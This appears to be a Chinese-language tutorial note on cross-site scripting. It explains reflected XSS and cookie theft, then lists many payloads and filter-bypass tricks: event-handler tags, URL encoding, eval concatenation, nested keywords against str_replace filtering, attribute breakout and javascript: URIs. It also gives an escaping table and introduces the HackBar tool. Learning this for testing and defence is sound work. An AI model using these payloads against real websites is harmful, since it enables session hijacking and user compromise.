什么是xss?
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。
xss的危害
通过 document.cookie 盗取 cookie中的信息
使用 js或 css破坏页面正常的结构与样式
流量劫持(通过访问某段具有 window.location.href 定位到其他页面)等
反射型:
?params=<script>alert("xss攻击")</script>
。classkey参数接受一个参数
搜索框输入 <script>alert("xss攻击")</script>
提交
js代码被执行,classkey.php没有对用户输入作处理,直接输出,这就是xss反射型漏洞,实施攻击,比如盗取用户的 cookie
js获取cookie代码:alert (document. cookie
然后输入<script>alert (document. cookie)</script>
弹框显示,盗取cookie,dm.unrun.top
网站我没有设置cookie所以是空的
这样甚至可以写js向HK提前准备好的网站发送信息
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
过滤空格用/代替空格
<img/src="x"/onerror=alert("xss");>
使用中文句号代替英文逗号
输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">
使用url编码URL解码编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
字符拼接利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
script被过滤时
服务器替换这些关键词为空
str_replace("script","");
str_replace("on","");
str_replace("src","");
str_replace("data","");
str_replace("href","");
采用:scr{% hint 'script' 'script被替换为空' %}ipt,o{% hint 'on' 'on被替换为空' %}n,s{% hint 'src' 'src被替换为空' %}rc等方法
浏览器查找与前一个未闭合标签最近的匹配标签,有两个时后一个不会被解析
<input type="text" value='<script>alert("XSS")</script>'>
前面加上'>
也就是'><script>alert("XSS")</script>
<input type="text" value=''><script>alert("XSS")</script>'>
不能用事件触发时用伪协议,javascript / data : 后面的代码
<object data=javascript:alert(1)>
<a href="javascript:alert(`xss`);">xss</a>
这样还有这样
(alert)(1); alert(1); alert`1`;
浏览器对编码解析的顺序:
URL解析->HTML解析->CSS解析->JS解析
URL 解析器的解码顺序会根据 URL 所在位置不同,导致在 JavaScript 解析器之前或之后解析
为了xss
字符 | 转义后的字符 |
---|---|
& | & ; |
< | < ; |
> | > ; |
" | " ; |
' | ' ; |
/ | / ; |
HackBar下载:https://github.com/HCTYMFF/hackbar2.1.3
HackBar 是一个浏览器上的一个插件,包含一些常用的工具,比如SQL injection,XSS,加密等
截图
位置:F12打开tab栏最右侧
方便对url编码转换
右侧三个按钮:加载网址--切分网址--执行
post提交,众所周知get参数可以写在地址栏,post就需要借助工具了